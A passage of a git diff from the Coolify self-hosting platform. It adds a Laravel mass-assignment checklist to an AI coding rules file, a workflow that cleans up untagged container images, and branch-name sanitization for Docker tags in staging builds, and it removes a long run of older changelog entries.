diff --git a/.cursor/rules/database-patterns.mdc b/.cursor/rules/database-patterns.mdc index a4f65f5fb..ec60a43b3 100644 --- a/.cursor/rules/database-patterns.mdc +++ b/.cursor/rules/database-patterns.mdc @@ -142,6 +142,29 @@ Schema::create('applications', function (Blueprint $table) { - **Soft deletes** for audit trails - **Activity logging** with Spatie package +### **CRITICAL: Mass Assignment Protection** +**When adding new database columns, you MUST update the model's `$fillable` array.** Without this, Laravel will silently ignore mass assignment operations like `Model::create()` or `$model->update()`. + +**Checklist for new columns:** +1. ✅ Create migration file +2. ✅ Run migration +3. ✅ **Add column to model's `$fillable` array** +4. ✅ Update any Livewire components that sync this property +5. ✅ Test that the column can be read and written + +**Example:** +```php +class Server extends BaseModel +{ + protected $fillable = [ + 'name', + 'ip', + 'port', + 'is_validating', // ← MUST add new columns here + ]; +} +``` + ### Relationship Patterns ```php // Typical relationship structure in Application model diff --git a/.github/workflows/cleanup-ghcr-untagged.yml b/.github/workflows/cleanup-ghcr-untagged.yml new file mode 100644 index 000000000..394fba68f --- /dev/null +++ b/.github/workflows/cleanup-ghcr-untagged.yml @@ -0,0 +1,25 @@ +name: Cleanup Untagged GHCR Images + +on: + workflow_dispatch: # Manual trigger only + +env: + GITHUB_REGISTRY: ghcr.io + +jobs: + cleanup-all-packages: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + strategy: + matrix: + package: ['coolify', 'coolify-helper', 'coolify-realtime', 'coolify-testing-host'] + steps: + - name: Delete untagged ${{ matrix.package }} images + uses: actions/delete-package-versions@v5 + with: + package-name: ${{ matrix.package }} + package-type: 'container' + min-versions-to-keep: 0 + delete-only-untagged-versions: 'true' diff --git a/.github/workflows/coolify-staging-build.yml b/.github/workflows/coolify-staging-build.yml index 09b1e9421..c6aa2dd90 100644 --- a/.github/workflows/coolify-staging-build.yml +++ b/.github/workflows/coolify-staging-build.yml @@ -28,6 +28,13 @@ jobs: steps: - uses: actions/checkout@v4 + - name: Sanitize branch name for Docker tag + id: sanitize + run: | + # Replace slashes and other invalid characters with dashes + SANITIZED_NAME=$(echo "${{ github.ref_name }}" | sed 's/[\/]/-/g') + echo "tag=${SANITIZED_NAME}" >> $GITHUB_OUTPUT + - name: Login to ${{ env.GITHUB_REGISTRY }} uses: docker/login-action@v3 with: @@ -50,8 +57,8 @@ jobs: platforms: linux/amd64 push: true tags: | - ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }} - ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }} + ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }} + ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }} aarch64: runs-on: [self-hosted, arm64] @@ -61,6 +68,13 @@ jobs: steps: - uses: actions/checkout@v4 + - name: Sanitize branch name for Docker tag + id: sanitize + run: | + # Replace slashes and other invalid characters with dashes + SANITIZED_NAME=$(echo "${{ github.ref_name }}" | sed 's/[\/]/-/g') + echo "tag=${SANITIZED_NAME}" >> $GITHUB_OUTPUT + - name: Login to ${{ env.GITHUB_REGISTRY }} uses: docker/login-action@v3 with: @@ -83,8 +97,8 @@ jobs: platforms: linux/aarch64 push: true tags: | - ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }}-aarch64 - ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }}-aarch64 + ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }}-aarch64 + ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }}-aarch64 merge-manifest: runs-on: ubuntu-latest @@ -95,6 +109,13 @@ jobs: steps: - uses: actions/checkout@v4 + - name: Sanitize branch name for Docker tag + id: sanitize + run: | + # Replace slashes and other invalid characters with dashes + SANITIZED_NAME=$(echo "${{ github.ref_name }}" | sed 's/[\/]/-/g') + echo "tag=${SANITIZED_NAME}" >> $GITHUB_OUTPUT + - uses: docker/setup-buildx-action@v3 - name: Login to ${{ env.GITHUB_REGISTRY }} @@ -114,14 +135,14 @@ jobs: - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }} run: | docker buildx imagetools create \ - --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }}-aarch64 \ - --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }} + --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }}-aarch64 \ + --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }} - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }} run: | docker buildx imagetools create \ - --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }}-aarch64 \ - --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.ref_name }} + --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }}-aarch64 \ + --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.sanitize.outputs.tag }} - uses: sarisia/actions-status-discord@v1 if: always() diff --git a/CHANGELOG.md b/CHANGELOG.md index aefabfd29..ea4510776 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -390,1254 +390,636 @@ ### ⚙️ Miscellaneous Tasks ## [4.0.0-beta.426] - 2025-08-28 -### 🚜 Refactor - -- *(policy)* Simplify ServiceDatabasePolicy methods to always return true and add manageBackups method - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Update coolify version to 4.0.0-beta.426 and nightly version to 4.0.0-beta.427 - -## [4.0.0-beta.425] - 2025-08-28 - -### 🚀 Features - -- *(domains)* Implement domain conflict detection and user confirmation modal across application components -- *(domains)* Add force_domain_override option and enhance domain conflict detection responses - -### 🐛 Bug Fixes - -- *(previews)* Simplify FQDN generation logic by removing unnecessary empty check -- *(templates)* Update Matrix service compose configuration for improved compatibility and clarity - -### 🚜 Refactor - -- *(urls)* Replace generateFqdn with generateUrl for consistent URL generation across applications -- *(domains)* Rename check_domain_usage to checkDomainUsage and update references across the application -- *(auth)* Simplify access control logic in CanAccessTerminal and ServerPolicy by allowing all users to perform actions - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Update coolify version to 4.0.0-beta.425 and nightly version to 4.0.0-beta.426 - -## [4.0.0-beta.424] - 2025-08-27 - -### 🐛 Bug Fixes - -- *(parsers)* Do not modify service names, only for getting fqdns and related envs -- *(compose)* Temporary allow to edit volumes in apps (compose based) and services - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Update coolify version to 4.0.0-beta.424 and nightly version to 4.0.0-beta.425 - -## [4.0.0-beta.423] - 2025-08-27 - -### 🚜 Refactor - -- *(parsers)* Remove unnecessary hyphen-to-underscore replacement for service names in serviceParser function - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Update coolify version to 4.0.0-beta.423 and nightly version to 4.0.0-beta.424 - -## [4.0.0-beta.422] - 2025-08-27 - -### 🐛 Bug Fixes - -- *(parsers)* Replace hyphens with underscores in service names for consistency. this allows to properly parse custom domains in docker compose based applications -- *(parsers)* Implement parseDockerVolumeString function to handle various Docker volume formats and modes, including environment variables and Windows paths. Add unit tests for comprehensive coverage. -- *(git)* Submodule update command uses an unsupported option (#6454) -- *(service)* Swap URL for FQDN on matrix template (#6466) -- *(parsers)* Enhance volume string handling by preserving mode in application and service parsers. Update related unit tests for validation. -- *(docker)* Update parser version in FQDN generation for service-specific URLs - -### 🚜 Refactor - -- *(git)* Improve submodule cloning - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- Update version -- Update development node version - -## [4.0.0-beta.421] - 2025-08-26 - -### 🚀 Features - -- *(policies)* Add EnvironmentVariablePolicy for managing environment variables ( it was missing ) - -### 🐛 Bug Fixes - -- *(backups)* Rollback helper update for now - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(core)* Update version -- *(versions)* Update coolify version to 4.0.0-beta.421 and nightly version to 4.0.0-beta.422 - -## [4.0.0-beta.420.9] - 2025-08-26 - -### 🐛 Bug Fixes - -- *(backups)* S3 backup upload is failing - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(core)* Update version - -## [4.0.0-beta.420.8] - 2025-08-26 - -### 🚜 Refactor - -- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.420.7] - 2025-08-26 - -### 🚀 Features - -- *(service)* Add TriliumNext service (#5970) -- *(service)* Add Matrix service (#6029) -- *(service)* Add GitHub Action runner service (#6209) -- *(terminal)* Dispatch focus event for terminal after connection and enhance focus handling in JavaScript -- *(lang)* Add Polish language & improve forgot_password translation (#6306) -- *(service)* Update Authentik template (#6264) -- *(service)* Add sequin template (#6105) -- *(service)* Add pi-hole template (#6020) -- *(services)* Add Chroma service (#6201) -- *(service)* Add OpenPanel template (#5310) -- *(service)* Add librechat template (#5654) -- *(service)* Add Homebox service (#6116) -- *(service)* Add pterodactyl & wings services (#5537) -- *(service)* Add Bluesky PDS template (#6302) -- *(input)* Add autofocus attribute to input component for improved accessibility -- *(core)* Finally fqdn is fqdn and url is url. haha -- *(user)* Add changelog read tracking and unread count method -- *(templates)* Add new service templates and update existing compose files for various applications -- *(changelog)* Implement automated changelog fetching from GitHub and enhance changelog read tracking -- *(drizzle-gateway)* Add new drizzle-gateway service with configuration and logo -- *(drizzle-gateway)* Enhance service configuration by adding Master Password field and updating compose file path -- *(templates)* Add new service templates for Homebox, LibreChat, Pterodactyl, and Wings with corresponding configurations and logos -- *(templates)* Add Bluesky PDS service template and update compose file with new environment variable -- *(readme)* Add CubePath as a big sponsor and include new small sponsors with logos -- *(api)* Add create_environment endpoint to ProjectController for environment creation in projects -- *(api)* Add endpoints for managing environments in projects, including listing, creating, and deleting environments -- *(backup)* Add disable local backup option and related logic for S3 uploads -- *(dev patches)* Add functionality to send test email with patch data in development mode -- *(templates)* Added category per service -- *(email)* Implement email change request and verification process -- Generate category for services -- *(service)* Add elasticsearch template (#6300) -- *(sanitization)* Integrate DOMPurify for HTML sanitization across components -- *(cleanup)* Add command for sanitizing name fields across models -- *(sanitization)* Enhance HTML sanitization with improved DOMPurify configuration -- *(validation)* Centralize validation patterns for names and descriptions -- *(git-settings)* Add support for shallow cloning in application settings -- *(auth)* Implement authorization checks for server updates across multiple components -- *(auth)* Implement authorization for PrivateKey management -- *(auth)* Implement authorization for Docker and server management -- *(validation)* Add custom validation rules for Git repository URLs and branches -- *(security)* Add authorization checks for package updates in Livewire components -- *(auth)* Implement authorization checks for application management -- *(auth)* Enhance API error handling for authorization exceptions -- *(auth)* Add comprehensive authorization checks for all kind of resource creations -- *(auth)* Implement authorization checks for database management -- *(auth)* Refine authorization checks for S3 storage and service management -- *(auth)* Implement comprehensive authorization checks across API controllers -- *(auth)* Introduce resource creation authorization middleware and policies for enhanced access control -- *(auth)* Add middleware for resource creation authorization -- *(auth)* Enhance authorization checks in Livewire components for resource management -- *(validation)* Add ValidIpOrCidr rule for validating IP addresses and CIDR notations; update API access settings UI and add comprehensive tests -- *(docs)* Update architecture and development guidelines; enhance form components with built-in authorization system and improve routing documentation -- *(docs)* Expand authorization documentation for custom Alpine.js components; include manual protection patterns and implementation guidelines -- *(sentinel)* Implement SentinelRestarted event and update Livewire components to handle server restart notifications -- *(api)* Enhance IP access control in middleware and settings; support CIDR notation and special case for 0.0.0.0 to allow all IPs -- *(acl)* Change views/backend code to able to use proper ACL's later on. Currently it is not enabled. -- *(docs)* Add Backlog.md guidelines and project manager backlog agent; enhance CLAUDE.md with new links for task management -- *(docs)* Add tasks for implementing Docker build caching and optimizing staging builds; include detailed acceptance criteria and implementation plans -- *(docker)* Implement Docker cleanup processing in ScheduledJobManager; refactor server task scheduling to streamline cleanup job dispatching -- *(docs)* Expand Backlog.md guidelines with comprehensive usage instructions, CLI commands, and best practices for task management to enhance project organization and collaboration - -### 🐛 Bug Fixes - -- *(service)* Triliumnext platform and link -- *(application)* Update service environment variables when generating domain for Docker Compose -- *(application)* Add option to suppress toast notifications when loading compose file -- *(git)* Tracking issue due to case sensitivity -- *(git)* Tracking issue due to case sensitivity -- *(git)* Tracking issue due to case sensitivity -- *(ui)* Delete button width on small screens (#6308) -- *(service)* Matrix entrypoint -- *(ui)* Add flex-wrap to prevent overflow on small screens (#6307) -- *(docker)* Volumes get delete when stopping a service if `Delete Unused Volumes` is activated (#6317) -- *(docker)* Cleanup always running on deletion -- *(proxy)* Remove hardcoded port 80/443 checks (#6275) -- *(service)* Update healthcheck of penpot backend container (#6272) -- *(api)* Duplicated logs in application endpoint (#6292) -- *(service)* Documenso signees always pending (#6334) -- *(api)* Update service upsert to retain name and description values if not set -- *(database)* Custom postgres configs with SSL (#6352) -- *(policy)* Update delete method to check for admin status in S3StoragePolicy -- *(container)* Sort containers alphabetically by name in ExecuteContainerCommand and update filtering in Terminal Index -- *(application)* Streamline environment variable updates for Docker Compose services and enhance FQDN generation logic -- *(constants)* Update 'Change Log' to 'Changelog' in settings dropdown -- *(constants)* Update coolify version to 4.0.0-beta.420.7 -- *(parsers)* Clarify comments and update variable checks for FQDN and URL handling -- *(terminal)* Update text color for terminal availability message and improve readability -- *(drizzle-gateway)* Remove healthcheck from drizzle-gateway compose file and update service template -- *(templates)* Should generate old SERVICE_FQDN service templates as well -- *(constants)* Update official service template URL to point to the v4.x branch for accuracy -- *(git)* Use exact refspec in ls-remote to avoid matching similarly named branches (e.g., changeset-release/main). Use refs/heads/ or provider-specific PR refs. -- *(ApplicationPreview)* Change null check to empty check for fqdn in generate_preview_fqdn method -- *(email notifications)* Enhance EmailChannel to validate team membership for recipients and handle errors gracefully -- *(service api)* Separate create and update service functionalities -- *(templates)* Added a category tag for the docs service filter -- *(application)* Clear Docker Compose specific data when switching away from dockercompose -- *(database)* Conditionally set started_at only if the database is running -- *(ui)* Handle null values in postgres metrics (#6388) -- Disable env sorting by default -- *(proxy)* Filter host network from default proxy (#6383) -- *(modal)* Enhance confirmation text handling -- *(notification)* Update unread count display and improve HTML rendering -- *(select)* Remove unnecessary sanitization for logo rendering -- *(tags)* Update tag display to limit name length and adjust styling -- *(init)* Improve error handling for deployment and template pulling processes -- *(settings-dropdown)* Adjust unread count badge size and display logic for better consistency -- *(sanitization)* Enhance DOMPurify hook to remove Alpine.js directives for improved XSS protection -- *(servercheck)* Properly check server statuses with and without Sentinel -- *(errors)* Update error pages to provide navigation options -- *(github-deploy-key)* Update background color for selected private keys in deployment key selection UI -- *(auth)* Enhance authorization checks in application management - -### 💼 Other - -- *(settings-dropdown)* Add icons to buttons for improved UI in settings dropdown -- *(ui)* Introduce task for simplifying resource operations UI by replacing boxes with dropdown selections to enhance user experience and streamline interactions - -### 🚜 Refactor - -- *(jobs)* Remove logging for ScheduledJobManager and ServerResourceManager start and completion -- *(services)* Update validation rules to be optional -- *(service)* Improve langfuse -- *(service)* Improve openpanel template -- *(service)* Improve librechat -- *(public-git-repository)* Enhance form structure and add autofocus to repository URL input -- *(public-git-repository)* Remove commented-out code for cleaner template -- *(templates)* Update service template file handling to use dynamic file name from constants -- *(parsers)* Streamline domain handling in applicationParser and improve DNS validation logic -- *(templates)* Replace SERVICE_FQDN variables with SERVICE_URL in compose files for consistency -- *(links)* Replace inline SVGs with reusable external link component for consistency and improved maintainability -- *(previews)* Improve layout and add deployment/application logs links for previews -- *(docker compose)* Remove deprecated newParser function and associated test file to streamline codebase -- *(shared helpers)* Remove unused parseServiceVolumes function to clean up codebase -- *(parsers)* Update volume parsing logic to use beforeLast and afterLast for improved accuracy -- *(validation)* Implement centralized validation patterns across components -- *(jobs)* Rename job classes to indicate deprecation status -- Update check frequency logic for cloud and self-hosted environments; streamline server task scheduling and timezone handling -- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility - -### 📚 Documentation - -- *(claude)* Clarify that artisan commands should only be run inside the "coolify" container during development -- Add AGENTS.md for project guidance and development instructions -- Update changelog -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(service)* Improve matrix service -- *(service)* Format runner service -- *(service)* Improve sequin -- *(service)* Add `NOT_SECURED` env to Postiz (#6243) -- *(service)* Improve evolution-api environment variables (#6283) -- *(service)* Update Langfuse template to v3 (#6301) -- *(core)* Remove unused argument -- *(deletion)* Rename isDeleteOperation to deleteConnectedNetworks -- *(docker)* Remove unused arguments on StopService -- *(service)* Homebox formatting -- Clarify usage of custom redis configuration (#6321) -- *(changelogs)* Add .gitignore for changelogs directory and remove outdated changelog files for May, June, and July 2025 -- *(service)* Change affine images (#6366) -- Elasticsearch URL, fromatting and add category -- Update service-templates json files -- *(docs)* Remove AGENTS.md file; enhance CLAUDE.md with detailed form authorization patterns and service configuration examples -- *(cleanup)* Remove unused GitLab view files for change, new, and show pages -- *(workflows)* Add backlog directory to build triggers for production and staging workflows -- *(config)* Disable auto_commit in backlog configuration to prevent automatic commits -- *(versions)* Update coolify version to 4.0.0-beta.420.8 and nightly version to 4.0.0-beta.420.9 in versions.json and constants.php -- *(docker)* Update soketi image version to 1.0.10 in production and Windows configurations - -### ◀️ Revert - -- *(parser)* Enhance FQDN generation logic for services and applications - -## [4.0.0-beta.420.6] - 2025-07-18 - -### 🚀 Features - -- *(service)* Enable password protection for the Wireguard Ul -- *(queues)* Improve Horizon config to reduce CPU and RAM usage (#6212) -- *(service)* Add Gowa service (#6164) -- *(container)* Add updatedSelectedContainer method to connect to non-default containers and update wire:model for improved reactivity -- *(application)* Implement environment variable updates for Docker Compose applications, including creation, updating, and deletion of SERVICE_FQDN and SERVICE_URL variables - -### 🐛 Bug Fixes - -- *(installer)* Public IPv4 link does not work -- *(composer)* Version constraint of prompts -- *(service)* Budibase secret keys (#6205) -- *(service)* Wg-easy host should be just the FQDN -- *(ui)* Search box overlaps the sidebar navigation (#6176) -- *(webhooks)* Exclude webhook routes from CSRF protection (#6200) -- *(services)* Update environment variable naming convention to use underscores instead of dashes for SERVICE_FQDN and SERVICE_URL - -### 🚜 Refactor - -- *(service)* Improve gowa -- *(previews)* Streamline preview domain generation logic in ApplicationDeploymentJob for improved clarity and maintainability -- *(services)* Simplify environment variable updates by using updateOrCreate and add cleanup for removed FQDNs - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(service)* Update Nitropage template (#6181) -- *(versions)* Update all version -- *(bump)* Update composer deps -- *(version)* Bump Coolify version to 4.0.0-beta.420.6 - -## [4.0.0-beta.420.4] - 2025-07-08 - -### 🚀 Features - -- *(scheduling)* Add command to manually run scheduled database backups and tasks with options for chunking, delays, and dry runs -- *(scheduling)* Add frequency filter option for manual execution of scheduled jobs -- *(logging)* Implement scheduled logs command and enhance backup/task scheduling with cron checks -- *(logging)* Add frequency filters for scheduled logs command to support hourly, daily, weekly, and monthly job views -- *(scheduling)* Introduce ScheduledJobManager and ServerResourceManager for enhanced job scheduling and resource management -- *(previews)* Implement soft delete and cleanup for ApplicationPreview, enhancing resource management in DeleteResourceJob - -### 🐛 Bug Fixes - -- *(service)* Update Postiz compose configuration for improved server availability -- *(install.sh)* Use IPV4_PUBLIC_IP variable in output instead of repeated curl -- *(env)* Generate literal env variables better -- *(deployment)* Update x-data initialization in deployment view for improved functionality -- *(deployment)* Enhance COOLIFY_URL and COOLIFY_FQDN variable generation for better compatibility -- *(deployment)* Improve docker-compose domain handling and environment variable generation -- *(deployment)* Refactor domain parsing and environment variable generation using Spatie URL library -- *(deployment)* Update COOLIFY_URL and COOLIFY_FQDN generation to use Spatie URL library for improved accuracy -- *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management -- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6 -- *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy -- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7 -- *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency -- *(horizon)* Update queue configuration to use environment variable for dynamic queue management -- *(horizon)* Add silenced jobs -- *(application)* Sanitize service names for HTML form binding and ensure original names are stored in docker compose domains -- *(previews)* Adjust padding for rate limit message in application previews -- *(previews)* Order application previews by pull request ID in descending order -- *(previews)* Add unique wire keys for preview containers and services based on pull request ID -- *(previews)* Enhance domain generation logic for application previews, ensuring unique domains are created when none are set -- *(previews)* Refine preview domain generation for Docker Compose applications, ensuring correct method usage based on build pack type -- *(ui)* Typo on proxy request handler tooltip (#6192) -- *(backups)* Large database backups are not working (#6217) -- *(backups)* Error message if there is no exception - -### 🚜 Refactor - -- *(previews)* Streamline preview URL generation by utilizing application method -- *(application)* Adjust layout and spacing in general application view for improved UI -- *(postgresql)* Improve layout and spacing in SSL and Proxy configuration sections for better UI consistency -- *(scheduling)* Replace deprecated job checks with ScheduledJobManager and ServerResourceManager for improved scheduling efficiency -- *(previews)* Move preview domain generation logic to ApplicationPreview model for better encapsulation and consistency across webhook handlers - -### 📚 Documentation - -- Update changelog -- Update changelog - -## [4.0.0-beta.420.3] - 2025-07-03 - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.420.2] - 2025-07-03 - -### 🚀 Features - -- *(template)* Added excalidraw (#6095) -- *(template)* Add excalidraw service configuration with documentation and tags - -### 🐛 Bug Fixes - -- *(terminal)* Ensure shell execution only uses valid shell if available in terminal command -- *(ui)* Improve destination selection description for clarity in resource segregation -- *(jobs)* Update middleware to use expireAfter for WithoutOverlapping in multiple job classes -- Removing eager loading (#6071) -- *(template)* Adjust health check interval and retries for excalidraw service -- *(ui)* Env variable settings wrong order -- *(service)* Ensure configuration changes are properly tracked and dispatched - -### 🚜 Refactor - -- *(ui)* Enhance project cloning interface with improved table layout for server and resource selection -- *(terminal)* Simplify command construction for SSH execution -- *(settings)* Streamline instance admin checks and initialization of settings in Livewire components -- *(policy)* Optimize team membership checks in S3StoragePolicy -- *(popup)* Improve styling and structure of the small popup component -- *(shared)* Enhance FQDN generation logic for services in newParser function -- *(redis)* Enhance CleanupRedis command with dry-run option and improved key deletion logic -- *(init)* Standardize method naming conventions and improve command structure in Init.php -- *(shared)* Improve error handling in getTopLevelNetworks function to return network name on invalid docker-compose.yml -- *(database)* Improve error handling for unsupported database types in StartDatabaseProxy - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively -- *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively - -## [4.0.0-beta.420.1] - 2025-06-26 - -### 🐛 Bug Fixes - -- *(server)* Prepend 'mux_' to UUID in muxFilename method for consistent naming -- *(ui)* Enhance terminal access messaging to clarify server functionality and terminal status -- *(database)* Proxy ssl port if ssl is enabled - -### 🚜 Refactor - -- *(ui)* Separate views for instance settings to separate paths to make it cleaner -- *(ui)* Remove unnecessary step3ButtonText attributes from modal confirmation components for cleaner code - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files - -## [4.0.0-beta.420] - 2025-06-26 - -### 🚀 Features - -- *(service)* Add Miniflux service (#5843) -- *(service)* Add Pingvin Share service (#5969) -- *(auth)* Add Discord OAuth Provider (#5552) -- *(auth)* Add Clerk OAuth Provider (#5553) -- *(auth)* Add Zitadel OAuth Provider (#5490) -- *(core)* Set custom API rate limit (#5984) -- *(service)* Enhance service status handling and UI updates -- *(cleanup)* Add functionality to delete teams with no members or servers in CleanupStuckedResources command -- *(ui)* Add heart icon and enhance popup messaging for sponsorship support -- *(settings)* Add sponsorship popup toggle and corresponding database migration -- *(migrations)* Add optimized indexes to activity_log for improved query performance - -### 🐛 Bug Fixes - -- *(service)* Audiobookshelf healthcheck command (#5993) -- *(service)* Downgrade Evolution API phone version (#5977) -- *(service)* Pingvinshare-with-clamav -- *(ssh)* Scp requires square brackets for ipv6 (#6001) -- *(github)* Changing github app breaks the webhook. it does not anymore -- *(parser)* Improve FQDN generation and update environment variable handling -- *(ui)* Enhance status refresh buttons with loading indicators -- *(ui)* Update confirmation button text for stopping database and service -- *(routes)* Update middleware for deploy route to use 'api.ability:deploy' -- *(ui)* Refine API token creation form and update helper text for clarity -- *(ui)* Adjust layout of deployments section for improved alignment -- *(ui)* Adjust project grid layout and refine server border styling for better visibility -- *(ui)* Update border styling for consistency across components and enhance loading indicators -- *(ui)* Add padding to section headers in settings views for improved spacing -- *(ui)* Reduce gap between input fields in email settings for better alignment -- *(docker)* Conditionally enable gzip compression in Traefik labels based on configuration -- *(parser)* Enable gzip compression conditionally for Pocketbase images and streamline service creation logic -- *(ui)* Update padding for trademarks policy and enhance spacing in advanced settings section -- *(ui)* Correct closing tag for sponsorship link in layout popups -- *(ui)* Refine wording in sponsorship donation prompt in layout popups -- *(ui)* Update navbar icon color and enhance popup layout for sponsorship support -- *(ui)* Add target="_blank" to sponsorship links in layout popups for improved user experience -- *(models)* Refine comment wording in User model for clarity on user deletion criteria -- *(models)* Improve user deletion logic in User model to handle team member roles and prevent deletion if user is alone in root team -- *(ui)* Update wording in sponsorship prompt for clarity and engagement -- *(shared)* Refactor gzip handling for Pocketbase in newParser function for improved clarity - -### 🚜 Refactor - -- *(service)* Update Hoarder to their new name karakeep (#5964) -- *(service)* Karakeep naming and formatting -- *(service)* Improve miniflux -- *(core)* Rename API rate limit ENV -- *(ui)* Simplify container selection form in execute-container-command view -- *(email)* Streamline SMTP and resend settings logic for improved clarity -- *(invitation)* Rename methods for consistency and enhance invitation deletion logic -- *(user)* Streamline user deletion process and enhance team management logic - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(service)* Update Evolution API image to the official one (#6031) -- *(versions)* Bump coolify versions to v4.0.0-beta.420 and v4.0.0-beta.421 -- *(dependencies)* Update composer dependencies to latest versions including resend-laravel to ^0.19.0 and aws-sdk-php to 3.347.0 -- *(versions)* Update Coolify version to 4.0.0-beta.420.1 and add new services (karakeep, miniflux, pingvinshare) to service templates - -## [4.0.0-beta.419] - 2025-06-17 - -### 🚀 Features - -- *(core)* Add 'postmarketos' to supported OS list -- *(service)* Add memos service template (#5032) -- *(ui)* Upgrade to Tailwind v4 (#5710) -- *(service)* Add Navidrome service template (#5022) -- *(service)* Add Passbolt service (#5769) -- *(service)* Add Vert service (#5663) -- *(service)* Add Ryot service (#5232) -- *(service)* Add Marimo service (#5559) -- *(service)* Add Diun service (#5113) -- *(service)* Add Observium service (#5613) -- *(service)* Add Leantime service (#5792) -- *(service)* Add Limesurvey service (#5751) -- *(service)* Add Paymenter service (#5809) -- *(service)* Add CodiMD service (#4867) -- *(modal)* Add dispatchAction property to confirmation modal -- *(security)* Implement server patching functionality -- *(service)* Add Typesense service (#5643) -- *(service)* Add Yamtrack service (#5845) -- *(service)* Add PG Back Web service (#5079) -- *(service)* Update Maybe service and adjust it for the new release (#5795) -- *(oauth)* Set redirect uri as optional and add default value (#5760) -- *(service)* Add apache superset service (#4891) -- *(service)* Add One Time Secret service (#5650) -- *(service)* Add Seafile service (#5817) -- *(service)* Add Netbird-Client service (#5873) -- *(service)* Add OrangeHRM and Grist services (#5212) -- *(rules)* Add comprehensive documentation for Coolify architecture and development practices for AI tools, especially for cursor -- *(server)* Implement server patch check notifications -- *(api)* Add latest query param to Service restart API (#5881) -- *(api)* Add connect_to_docker_network setting to App creation API (#5691) -- *(routes)* Restrict backup download access to team admins and owners -- *(destination)* Update confirmation modal text and add persistent storage warning for server deployment -- *(terminal-access)* Implement terminal access control for servers and containers, including UI updates and backend logic -- *(ca-certificate)* Add CA certificate management functionality with UI integration and routing -- *(security-patches)* Add update check initialization and enhance notification messaging in UI -- *(previews)* Add force deploy without cache functionality and update deploy method to accept force rebuild parameter -- *(security-patterns)* Expand sensitive patterns list to include additional security-related variables -- *(database-backup)* Add MongoDB credential extraction and backup handling to DatabaseBackupJob -- *(activity-monitor)* Implement auto-scrolling functionality and dynamic content observation for improved user experience -- *(utf8-handling)* Implement UTF-8 sanitization for command outputs and enhance error handling in logs processing -- *(navbar)* Add Traefik dashboard availability check and server IP handling; refactor dynamic configurations loading -- *(proxy-dashboard)* Implement ProxyDashboardCacheService to manage Traefik dashboard cache; clear cache on configuration changes and proxy actions -- *(terminal-connection)* Enhance terminal connection handling with auto-connect feature and improved status messaging -- *(terminal)* Implement resize handling with ResizeObserver for improved terminal responsiveness -- *(migration)* Add is_sentinel_enabled column to server_settings with default true -- *(seeder)* Dispatch StartProxy action for each server in ProductionSeeder -- *(seeder)* Add CheckAndStartSentinelJob dispatch for each server in ProductionSeeder -- *(seeder)* Conditionally dispatch StartProxy action based on proxy check result -- *(service)* Update Changedetection template (#5937) - -### 🐛 Bug Fixes - -- *(constants)* Adding 'fedora-asahi-remix' as a supported OS (#5646) -- *(authentik)* Update docker-compose configuration for authentik service -- *(api)* Allow nullable destination_uuid (#5683) -- *(service)* Fix documenso startup and 